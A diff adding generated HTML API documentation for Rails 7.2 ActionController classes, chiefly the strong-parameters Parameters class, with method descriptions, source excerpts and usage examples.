+ + any_response?() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal/mime_responds.rb, line 280
+      def any_response?
+        !@responses.fetch(format, false) && @responses[Mime::ALL]
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + custom(mime_type, &block) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal/mime_responds.rb, line 271
+      def custom(mime_type, &block)
+        mime_type = Mime::Type.lookup(mime_type.to_s) unless mime_type.is_a?(Mime::Type)
+        @responses[mime_type] ||= if block_given?
+          block
+        else
+          VariantCollector.new(@variant)
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + negotiate_format(request) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal/mime_responds.rb, line 297
+      def negotiate_format(request)
+        @format = request.negotiate_mime(@responses.keys)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + response() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal/mime_responds.rb, line 284
+      def response
+        response = @responses.fetch(format, @responses[Mime::ALL])
+        if response.is_a?(VariantCollector) # `format.html.phone` - variant inline syntax
+          response.variant
+        elsif response.nil? || response.arity == 0 # `format.html` - just a format, call its block
+          response
+        else # `format.html{ |variant| variant.phone }` - variant block syntax
+          variant_collector = VariantCollector.new(@variant)
+          response.call(variant_collector) # call format block with variants collector
+          variant_collector.variant
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionController/MissingRenderer.html b/src/7.2/classes/ActionController/MissingRenderer.html new file mode 100644 index 0000000000..7fcf7bb549 --- /dev/null +++ b/src/7.2/classes/ActionController/MissingRenderer.html @@ -0,0 +1,113 @@ +--- +title: ActionController::MissingRenderer +layout: default +--- +
+ +
+
+ +
+ +

See Responder#api_behavior

+ +
+ + + + + + + + + + + +

Methods

+
    + +
  • + new +
  • + +
+ + + + + + + + + + + + + + + +

Class Public methods

+ +
+

+ + new(format) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal/renderers.rb, line 20
+    def initialize(format)
+      super "No renderer defined for format: #{format}"
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + + +
+ +
+
diff --git a/src/7.2/classes/ActionController/ParameterEncoding.html b/src/7.2/classes/ActionController/ParameterEncoding.html new file mode 100644 index 0000000000..a99a07af8c --- /dev/null +++ b/src/7.2/classes/ActionController/ParameterEncoding.html @@ -0,0 +1,73 @@ +--- +title: ActionController::ParameterEncoding +layout: default +--- +
+ +
+
+ +
+ +

Specify binary encoding for parameters for a given action.

+ +
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActionController/ParameterEncoding/ClassMethods.html b/src/7.2/classes/ActionController/ParameterEncoding/ClassMethods.html new file mode 100644 index 0000000000..47d367089c --- /dev/null +++ b/src/7.2/classes/ActionController/ParameterEncoding/ClassMethods.html @@ -0,0 +1,182 @@ +--- +title: ActionController::ParameterEncoding::ClassMethods +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + param_encoding(action, param, encoding) + +

+ + +
+

Specify the encoding for a parameter on an action. If not specified the default is UTF-8.

+ +

You can specify a binary (ASCII_8BIT) parameter with:

+ +
class RepositoryController < ActionController::Base
+  # This specifies that file_path is not UTF-8 and is instead ASCII_8BIT
+  param_encoding :show, :file_path, Encoding::ASCII_8BIT
+
+  def show
+    @repo = Repository.find_by_filesystem_path params[:file_path]
+
+    # params[:repo_name] remains UTF-8 encoded
+    @repo_name = params[:repo_name]
+  end
+
+  def index
+    @repositories = Repository.all
+  end
+end
+
+ +

The file_path parameter on the show action would be encoded as ASCII-8BIT, but all other arguments will remain UTF-8 encoded. This is useful in the case where an application must handle data but encoding of the data is unknown, like file system data.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal/parameter_encoding.rb, line 79
+      def param_encoding(action, param, encoding)
+        @_parameter_encodings[action.to_s][param.to_s] = encoding
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + skip_parameter_encoding(action) + +

+ + +
+

Specify that a given action’s parameters should all be encoded as ASCII-8BIT (it β€œskips” the encoding default of UTF-8).

+ +

For example, a controller would use it like this:

+ +
class RepositoryController < ActionController::Base
+  skip_parameter_encoding :show
+
+  def show
+    @repo = Repository.find_by_filesystem_path params[:file_path]
+
+    # `repo_name` is guaranteed to be UTF-8, but was ASCII-8BIT, so
+    # tag it as such
+    @repo_name = params[:repo_name].force_encoding 'UTF-8'
+  end
+
+  def index
+    @repositories = Repository.all
+  end
+end
+
+ +

The show action in the above controller would have all parameter values encoded as ASCII-8BIT. This is useful in the case where an application must handle data but encoding of the data is unknown, like file system data.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal/parameter_encoding.rb, line 50
+      def skip_parameter_encoding(action)
+        @_parameter_encodings[action.to_s] = Hash.new { Encoding::ASCII_8BIT }
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActionController/ParameterMissing.html b/src/7.2/classes/ActionController/ParameterMissing.html new file mode 100644 index 0000000000..4855ad4338 --- /dev/null +++ b/src/7.2/classes/ActionController/ParameterMissing.html @@ -0,0 +1,73 @@ +--- +title: ActionController::ParameterMissing +layout: default +--- +
+ +
+
+ +
+ +

Raised when a required parameter is missing.

+ +
params = ActionController::Parameters.new(a: {})
+params.fetch(:b)
+# => ActionController::ParameterMissing: param is missing or the value is empty: b
+params.require(:a)
+# => ActionController::ParameterMissing: param is missing or the value is empty: a
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/ActionController/Parameters.html b/src/7.2/classes/ActionController/Parameters.html new file mode 100644 index 0000000000..59f661c20b --- /dev/null +++ b/src/7.2/classes/ActionController/Parameters.html @@ -0,0 +1,3311 @@ +--- +title: ActionController::Parameters +layout: default +--- +
+ +
+
+ +
+ +

Action Controller Parameters

+ +

Allows you to choose which attributes should be permitted for mass updating and thus prevent accidentally exposing that which shouldn’t be exposed. Provides two methods for this purpose: require and permit. The former is used to mark parameters as required. The latter is used to set the parameter as permitted and limit which attributes should be allowed for mass updating.

+ +
params = ActionController::Parameters.new({
+  person: {
+    name: "Francesco",
+    age:  22,
+    role: "admin"
+  }
+})
+
+permitted = params.require(:person).permit(:name, :age)
+permitted            # => #<ActionController::Parameters {"name"=>"Francesco", "age"=>22} permitted: true>
+permitted.permitted? # => true
+
+Person.first.update!(permitted)
+# => #<Person id: 1, name: "Francesco", age: 22, role: "user">
+
+ +

It provides two options that controls the top-level behavior of new instances:

+
  • +

    permit_all_parameters - If it’s true, all the parameters will be permitted by default. The default is false.

    +
  • +

    action_on_unpermitted_parameters - Controls behavior when parameters that are not explicitly permitted are found. The default value is :log in test and development environments, false otherwise. The values can be:

    +
    • +

      false to take no action.

      +
    • +

      :log to emit an ActiveSupport::Notifications.instrument event on the unpermitted_parameters.action_controller topic and log at the DEBUG level.

      +
    • +

      :raise to raise an ActionController::UnpermittedParameters exception.

      +
    +
+ +

Examples:

+ +
params = ActionController::Parameters.new
+params.permitted? # => false
+
+ActionController::Parameters.permit_all_parameters = true
+
+params = ActionController::Parameters.new
+params.permitted? # => true
+
+params = ActionController::Parameters.new(a: "123", b: "456")
+params.permit(:c)
+# => #<ActionController::Parameters {} permitted: true>
+
+ActionController::Parameters.action_on_unpermitted_parameters = :raise
+
+params = ActionController::Parameters.new(a: "123", b: "456")
+params.permit(:c)
+# => ActionController::UnpermittedParameters: found unpermitted keys: a, b
+
+ +

Please note that these options are not thread-safe. In a multi-threaded environment they should only be set once at boot-time and never mutated at runtime.

+ +

You can fetch values of ActionController::Parameters using either :key or "key".

+ +
params = ActionController::Parameters.new(key: "value")
+params[:key]  # => "value"
+params["key"] # => "value"
+
+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + +

Constants

+ + + + + + + + + + + + + + +
PERMITTED_SCALAR_TYPES=[ +String, +Symbol, +NilClass, +Numeric, +TrueClass, +FalseClass, +Date, +Time, +# DateTimes are Dates, we document the type but avoid the redundant check. +StringIO, +IO, +ActionDispatch::Http::UploadedFile, +Rack::Test::UploadedFile, +]
 

β€” Filtering β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”β€”-

+ +

This is a list of permitted scalar types that includes the ones supported in XML and JSON requests.

+ +

This list is in particular used to filter ordinary requests, String goes as first element to quickly short-circuit the common case.

+ +

If you modify this collection please update the one in the permit doc as well.

+ + + + +

Attributes

+ + + + + + + + + + + + + + +
+ [R] + parameters
+ [W] + permitted
+ + + + +

Class Public methods

+ +
+

+ + allow_deprecated_parameters_hash_equality() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal/strong_parameters.rb, line 253
+      def allow_deprecated_parameters_hash_equality
+        ActionController.deprecator.warn <<-WARNING.squish
+          `Rails.application.config.action_controller.allow_deprecated_parameters_hash_equality` is
+          deprecated and will be removed in Rails 8.0.
+        WARNING
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + allow_deprecated_parameters_hash_equality=(value) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal/strong_parameters.rb, line 260
+      def allow_deprecated_parameters_hash_equality=(value)
+        ActionController.deprecator.warn <<-WARNING.squish
+          `Rails.application.config.action_controller.allow_deprecated_parameters_hash_equality`
+          is deprecated and will be removed in Rails 8.0.
+        WARNING
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + new(parameters = {}, logging_context = {}) + +

+ + +
+

Returns a new ActionController::Parameters instance. Also, sets the permitted attribute to the default value of ActionController::Parameters.permit_all_parameters.

+ +
class Person < ActiveRecord::Base
+end
+
+params = ActionController::Parameters.new(name: "Francesco")
+params.permitted?  # => false
+Person.new(params) # => ActiveModel::ForbiddenAttributesError
+
+ActionController::Parameters.permit_all_parameters = true
+
+params = ActionController::Parameters.new(name: "Francesco")
+params.permitted?  # => true
+Person.new(params) # => #<Person id: nil, name: "Francesco">
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal/strong_parameters.rb, line 288
+    def initialize(parameters = {}, logging_context = {})
+      parameters.each_key do |key|
+        unless key.is_a?(String) || key.is_a?(Symbol)
+          raise InvalidParameterKey, "all keys must be Strings or Symbols, got: #{key.class}"
+        end
+      end
+
+      @parameters = parameters.with_indifferent_access
+      @logging_context = logging_context
+      @permitted = self.class.permit_all_parameters
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + ==(other) + +

+ + +
+

Returns true if another Parameters object contains the same content and permitted flag.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal/strong_parameters.rb, line 302
+    def ==(other)
+      if other.respond_to?(:permitted?)
+        permitted? == other.permitted? && parameters == other.parameters
+      else
+        super
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + [](key) + +

+ + +
+

Returns a parameter for the given key. If not found, returns nil.

+ +
params = ActionController::Parameters.new(person: { name: "Francesco" })
+params[:person] # => #<ActionController::Parameters {"name"=>"Francesco"} permitted: false>
+params[:none]   # => nil
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal/strong_parameters.rb, line 670
+    def [](key)
+      convert_hashes_to_parameters(key, @parameters[key])
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + []=(key, value) + +

+ + +
+

Assigns a value to a given key. The given key may still get filtered out when permit is called.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal/strong_parameters.rb, line 676
+    def []=(key, value)
+      @parameters[key] = value
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + as_json(options=nil) + + +

+ + +
+

Returns a hash that can be used as the JSON representation for the parameters.

+
+ + + + + + + + + πŸ”Ž See on GitHub + +
+ +
+

+ + compact() + +

+ + +
+

Returns a new ActionController::Parameters instance with nil values removed.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal/strong_parameters.rb, line 847
+    def compact
+      new_instance_with_inherited_permitted_status(@parameters.compact)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + compact!() + +

+ + +
+

Removes all nil values in place and returns self, or nil if no changes were made.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal/strong_parameters.rb, line 853
+    def compact!
+      self if @parameters.compact!
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + compact_blank() + +

+ + +
+

Returns a new ActionController::Parameters instance without the blank values. Uses Object#blank? for determining if a value is blank.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal/strong_parameters.rb, line 859
+    def compact_blank
+      reject { |_k, v| v.blank? }
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + compact_blank!() + +

+ + +
+

Removes all blank values in place and returns self. Uses Object#blank? for determining if a value is blank.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal/strong_parameters.rb, line 865
+    def compact_blank!
+      reject! { |_k, v| v.blank? }
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + converted_arrays() + +

+ + +
+

Attribute that keeps track of converted arrays, if any, to avoid double looping in the common use case permit + mass-assignment. Defined in a method to instantiate it only if needed.

+ +

Testing membership still loops, but it’s going to be faster than our own loop that converts values. Also, we are not going to build a new array object per fetch.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal/strong_parameters.rb, line 436
+    def converted_arrays
+      @converted_arrays ||= Set.new
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + deep_dup() + +

+ + +
+

Returns a duplicate ActionController::Parameters instance with the same permitted parameters.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal/strong_parameters.rb, line 965
+    def deep_dup
+      self.class.new(@parameters.deep_dup, @logging_context).tap do |duplicate|
+        duplicate.permitted = @permitted
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + deep_merge(other_hash, &block) + + +

+ + +
+

Returns a new ActionController::Parameters instance with self and other_hash merged recursively.

+ +

Like with Hash#merge in the standard library, a block can be provided to merge values.

+
+ + + + + + + + + πŸ”Ž See on GitHub + +
+ +
+

+ + deep_merge!(other_hash, &block) + + +

+ + +
+

Same as #deep_merge, but modifies self.

+
+ + + + + + + + + πŸ”Ž See on GitHub + +
+ +
+

+ + deep_transform_keys(&block) + +

+ + +
+

Returns a new ActionController::Parameters instance with the results of running block once for every key. This includes the keys from the root hash and from all nested hashes and arrays. The values are unchanged.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal/strong_parameters.rb, line 797
+    def deep_transform_keys(&block)
+      new_instance_with_inherited_permitted_status(
+        _deep_transform_keys_in_object(@parameters, &block).to_unsafe_h
+      )
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + deep_transform_keys!(&block) + +

+ + +
+

Returns the same ActionController::Parameters instance with changed keys. This includes the keys from the root hash and from all nested hashes and arrays. The values are unchanged.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal/strong_parameters.rb, line 806
+    def deep_transform_keys!(&block)
+      @parameters = _deep_transform_keys_in_object(@parameters, &block).to_unsafe_h
+      self
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + delete(key, &block) + +

+ + +
+

Deletes a key-value pair from Parameters and returns the value. If key is not found, returns nil (or, with optional code block, yields key and returns the result). This method is similar to extract!, which returns the corresponding ActionController::Parameters object.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal/strong_parameters.rb, line 815
+    def delete(key, &block)
+      convert_value_to_parameters(@parameters.delete(key, &block))
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + delete_if(&block) + +

+ + +
+ +
+ + + + + +
+ Alias for: reject! +
+ + + + +
+ +
+

+ + dig(*keys) + +

+ + +
+

Extracts the nested parameter from the given keys by calling dig at each step. Returns nil if any intermediate step is nil.

+ +
params = ActionController::Parameters.new(foo: { bar: { baz: 1 } })
+params.dig(:foo, :bar, :baz) # => 1
+params.dig(:foo, :zot, :xyz) # => nil
+
+params2 = ActionController::Parameters.new(foo: [10, 11, 12])
+params2.dig(:foo, 1) # => 11
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal/strong_parameters.rb, line 714
+    def dig(*keys)
+      convert_hashes_to_parameters(keys.first, @parameters[keys.first])
+      @parameters.dig(*keys)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + each(&block) + +

+ + +
+ +
+ + + + + +
+ Alias for: each_pair +
+ + + + +
+ +
+

+ + each_key(&block) + + +

+ + +
+

Calls block once for each key in the parameters, passing the key. If no block is given, an enumerator is returned instead.

+
+ + + + + + + + + πŸ”Ž See on GitHub + +
+ +
+

+ + each_pair(&block) + +

+ + +
+

Convert all hashes in values into parameters, then yield each pair in the same way as Hash#each_pair.

+
+ + + +
+ Also aliased as: each +
+ + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal/strong_parameters.rb, line 403
+    def each_pair(&block)
+      return to_enum(__callee__) unless block_given?
+      @parameters.each_pair do |key, value|
+        yield [key, convert_hashes_to_parameters(key, value)]
+      end
+
+      self
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + each_value(&block) + +

+ + +
+

Convert all hashes in values into parameters, then yield each value in the same way as Hash#each_value.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal/strong_parameters.rb, line 415
+    def each_value(&block)
+      return to_enum(:each_value) unless block_given?
+      @parameters.each_pair do |key, value|
+        yield convert_hashes_to_parameters(key, value)
+      end
+
+      self
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + empty?() + + +

+ + +
+

Returns true if the parameters have no key/value pairs.

+
+ + + + + + + + + πŸ”Ž See on GitHub + +
+ +
+

+ + eql?(other) + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal/strong_parameters.rb, line 310
+    def eql?(other)
+      self.class == other.class &&
+        permitted? == other.permitted? &&
+        parameters.eql?(other.parameters)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + except(*keys) + +

+ + +
+

Returns a new ActionController::Parameters instance that filters out the given keys.

+ +
params = ActionController::Parameters.new(a: 1, b: 2, c: 3)
+params.except(:a, :b) # => #<ActionController::Parameters {"c"=>3} permitted: false>
+params.except(:d)     # => #<ActionController::Parameters {"a"=>1, "b"=>2, "c"=>3} permitted: false>
+
+
+ + + +
+ Also aliased as: without +
+ + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal/strong_parameters.rb, line 742
+    def except(*keys)
+      new_instance_with_inherited_permitted_status(@parameters.except(*keys))
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + exclude?(key) + + +

+ + +
+

Returns true if the given key is not present in the parameters.

+
+ + + + + + + + + πŸ”Ž See on GitHub + +
+ +
+

+ + extract!(*keys) + +

+ + +
+

Removes and returns the key/value pairs matching the given keys.

+ +
params = ActionController::Parameters.new(a: 1, b: 2, c: 3)
+params.extract!(:a, :b) # => #<ActionController::Parameters {"a"=>1, "b"=>2} permitted: false>
+params                  # => #<ActionController::Parameters {"c"=>3} permitted: false>
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal/strong_parameters.rb, line 752
+    def extract!(*keys)
+      new_instance_with_inherited_permitted_status(@parameters.extract!(*keys))
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + extract_value(key, delimiter: "_") + +

+ + +
+

Returns parameter value for the given key separated by delimiter.

+ +
params = ActionController::Parameters.new(id: "1_123", tags: "ruby,rails")
+params.extract_value(:id) # => ["1", "123"]
+params.extract_value(:tags, delimiter: ",") # => ["ruby", "rails"]
+params.extract_value(:non_existent_key) # => nil
+
+ +

Note that if the given keyβ€˜s value contains blank elements, then the returned array will include empty strings.

+ +
params = ActionController::Parameters.new(tags: "ruby,rails,,web")
+params.extract_value(:tags, delimiter: ",") # => ["ruby", "rails", "", "web"]
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal/strong_parameters.rb, line 983
+    def extract_value(key, delimiter: "_")
+      @parameters[key]&.split(delimiter, -1)
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + fetch(key, *args) + +

+ + +
+

Returns a parameter for the given key. If the key can’t be found, there are several options: With no other arguments, it will raise an ActionController::ParameterMissing error; if a second argument is given, then that is returned (converted to an instance of ActionController::Parameters if possible); if a block is given, then that will be run and its result returned.

+ +
params = ActionController::Parameters.new(person: { name: "Francesco" })
+params.fetch(:person)               # => #<ActionController::Parameters {"name"=>"Francesco"} permitted: false>
+params.fetch(:none)                 # => ActionController::ParameterMissing: param is missing or the value is empty: none
+params.fetch(:none, {})             # => #<ActionController::Parameters {} permitted: false>
+params.fetch(:none, "Francesco")    # => "Francesco"
+params.fetch(:none) { "Francesco" } # => "Francesco"
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal/strong_parameters.rb, line 693
+    def fetch(key, *args)
+      convert_value_to_parameters(
+        @parameters.fetch(key) {
+          if block_given?
+            yield
+          else
+            args.fetch(0) { raise ActionController::ParameterMissing.new(key, @parameters.keys) }
+          end
+        }
+      )
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + has_key? + +

+ + +
+ +
+ + + + + +
+ Alias for: include? +
+ + + + +
+ +
+

+ + has_value?(value) + +

+ + +
+

Returns true if the given value is present for some key in the parameters.

+
+ + + +
+ Also aliased as: value? +
+ + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal/strong_parameters.rb, line 870
+    def has_value?(value)
+      each_value.include?(convert_value_to_parameters(value))
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + hash() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal/strong_parameters.rb, line 316
+    def hash
+      [self.class, @parameters, @permitted].hash
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + include?(key) + +

+ + +
+

Returns true if the given key is present in the parameters.

+
+ + + +
+ Also aliased as: has_key?, key?, member? +
+ + + + + + + πŸ”Ž See on GitHub + +
+ +
+

+ + inspect() + +

+ + +
+ +
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal/strong_parameters.rb, line 928
+    def inspect
+      "#<#{self.class} #{@parameters} permitted: #{@permitted}>"
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + keep_if(&block) + +

+ + +
+ +
+ + + + + +
+ Alias for: select! +
+ + + + +
+ +
+

+ + key? + +

+ + +
+ +
+ + + + + +
+ Alias for: include? +
+ + + + +
+ +
+

+ + keys() + + +

+ + +
+

Returns a new array of the keys of the parameters.

+
+ + + + + + + + + πŸ”Ž See on GitHub + +
+ +
+

+ + member? + +

+ + +
+ +
+ + + + + +
+ Alias for: include? +
+ + + + +
+ +
+

+ + merge(other_hash) + +

+ + +
+

Returns a new ActionController::Parameters instance with all keys from other_hash merged into current hash.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal/strong_parameters.rb, line 884
+    def merge(other_hash)
+      new_instance_with_inherited_permitted_status(
+        @parameters.merge(other_hash.to_h)
+      )
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + merge!(other_hash) + + +

+ + +
+

Returns the current ActionController::Parameters instance with other_hash merged into current hash.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal/strong_parameters.rb, line 895
+    def merge!(other_hash, &block)
+      @parameters.merge!(other_hash.to_h, &block)
+      self
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + permit(*filters) + +

+ + +
+

Returns a new ActionController::Parameters instance that includes only the given filters and sets the permitted attribute for the object to true. This is useful for limiting which attributes should be allowed for mass updating.

+ +
params = ActionController::Parameters.new(user: { name: "Francesco", age: 22, role: "admin" })
+permitted = params.require(:user).permit(:name, :age)
+permitted.permitted?      # => true
+permitted.has_key?(:name) # => true
+permitted.has_key?(:age)  # => true
+permitted.has_key?(:role) # => false
+
+ +

Only permitted scalars pass the filter. For example, given

+ +
params.permit(:name)
+
+ +

:name passes if it is a key of params whose associated value is of type String, Symbol, NilClass, Numeric, TrueClass, FalseClass, Date, Time, DateTime, StringIO, IO, ActionDispatch::Http::UploadedFile or Rack::Test::UploadedFile. Otherwise, the key :name is filtered out.

+ +

You may declare that the parameter should be an array of permitted scalars by mapping it to an empty array:

+ +
params = ActionController::Parameters.new(tags: ["rails", "parameters"])
+params.permit(tags: [])
+
+ +

Sometimes it is not possible or convenient to declare the valid keys of a hash parameter or its internal structure. Just map to an empty hash:

+ +
params.permit(preferences: {})
+
+ +

Be careful because this opens the door to arbitrary input. In this case, permit ensures values in the returned structure are permitted scalars and filters out anything else.

+ +

You can also use permit on nested parameters, like:

+ +
params = ActionController::Parameters.new({
+  person: {
+    name: "Francesco",
+    age:  22,
+    pets: [{
+      name: "Purplish",
+      category: "dogs"
+    }]
+  }
+})
+
+permitted = params.permit(person: [ :name, { pets: :name } ])
+permitted.permitted?                    # => true
+permitted[:person][:name]               # => "Francesco"
+permitted[:person][:age]                # => nil
+permitted[:person][:pets][0][:name]     # => "Purplish"
+permitted[:person][:pets][0][:category] # => nil
+
+ +

Note that if you use permit in a key that points to a hash, it won’t allow all the hash. You also need to specify which attributes inside the hash should be permitted.

+ +
params = ActionController::Parameters.new({
+  person: {
+    contact: {
+      email: "none@test.com",
+      phone: "555-1234"
+    }
+  }
+})
+
+params.require(:person).permit(:contact)
+# => #<ActionController::Parameters {} permitted: true>
+
+params.require(:person).permit(contact: :phone)
+# => #<ActionController::Parameters {"contact"=>#<ActionController::Parameters {"phone"=>"555-1234"} permitted: true>} permitted: true>
+
+params.require(:person).permit(contact: [ :email, :phone ])
+# => #<ActionController::Parameters {"contact"=>#<ActionController::Parameters {"email"=>"none@test.com", "phone"=>"555-1234"} permitted: true>} permitted: true>
+
+ +

If your parameters specify multiple parameters indexed by a number, you can permit each set of parameters under the numeric key to be the same using the same syntax as permitting a single item.

+ +
params = ActionController::Parameters.new({
+  person: {
+    '0': {
+      email: "none@test.com",
+      phone: "555-1234"
+    },
+    '1': {
+      email: "nothing@test.com",
+      phone: "555-6789"
+    },
+  }
+})
+params.permit(person: [:email]).to_h
+# => {"person"=>{"0"=>{"email"=>"none@test.com"}, "1"=>{"email"=>"nothing@test.com"}}}
+
+ +

If you want to specify what keys you want from each numeric key, you can instead specify each one individually

+ +
params = ActionController::Parameters.new({
+  person: {
+    '0': {
+      email: "none@test.com",
+      phone: "555-1234"
+    },
+    '1': {
+      email: "nothing@test.com",
+      phone: "555-6789"
+    },
+  }
+})
+params.permit(person: { '0': [:email], '1': [:phone]}).to_h
+# => {"person"=>{"0"=>{"email"=>"none@test.com"}, "1"=>{"phone"=>"555-6789"}}}
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal/strong_parameters.rb, line 648
+    def permit(*filters)
+      params = self.class.new
+
+      filters.flatten.each do |filter|
+        case filter
+        when Symbol, String
+          permitted_scalar_filter(params, filter)
+        when Hash
+          hash_filter(params, filter)
+        end
+      end
+
+      unpermitted_parameters!(params) if self.class.action_on_unpermitted_parameters
+
+      params.permit!
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + permit!() + +

+ + +
+

Sets the permitted attribute to true. This can be used to pass mass assignment. Returns self.

+ +
class Person < ActiveRecord::Base
+end
+
+params = ActionController::Parameters.new(name: "Francesco")
+params.permitted?  # => false
+Person.new(params) # => ActiveModel::ForbiddenAttributesError
+params.permit!
+params.permitted?  # => true
+Person.new(params) # => #<Person id: nil, name: "Francesco">
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal/strong_parameters.rb, line 462
+    def permit!
+      each_pair do |key, value|
+        Array.wrap(value).flatten.each do |v|
+          v.permit! if v.respond_to? :permit!
+        end
+      end
+
+      @permitted = true
+      self
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + permitted?() + +

+ + +
+

Returns true if the parameter is permitted, false otherwise.

+ +
params = ActionController::Parameters.new
+params.permitted? # => false
+params.permit!
+params.permitted? # => true
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File actionpack/lib/action_controller/metal/strong_parameters.rb, line 446
+    def permitted?
+      @permitted
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + reject(&block) + +

+ + +
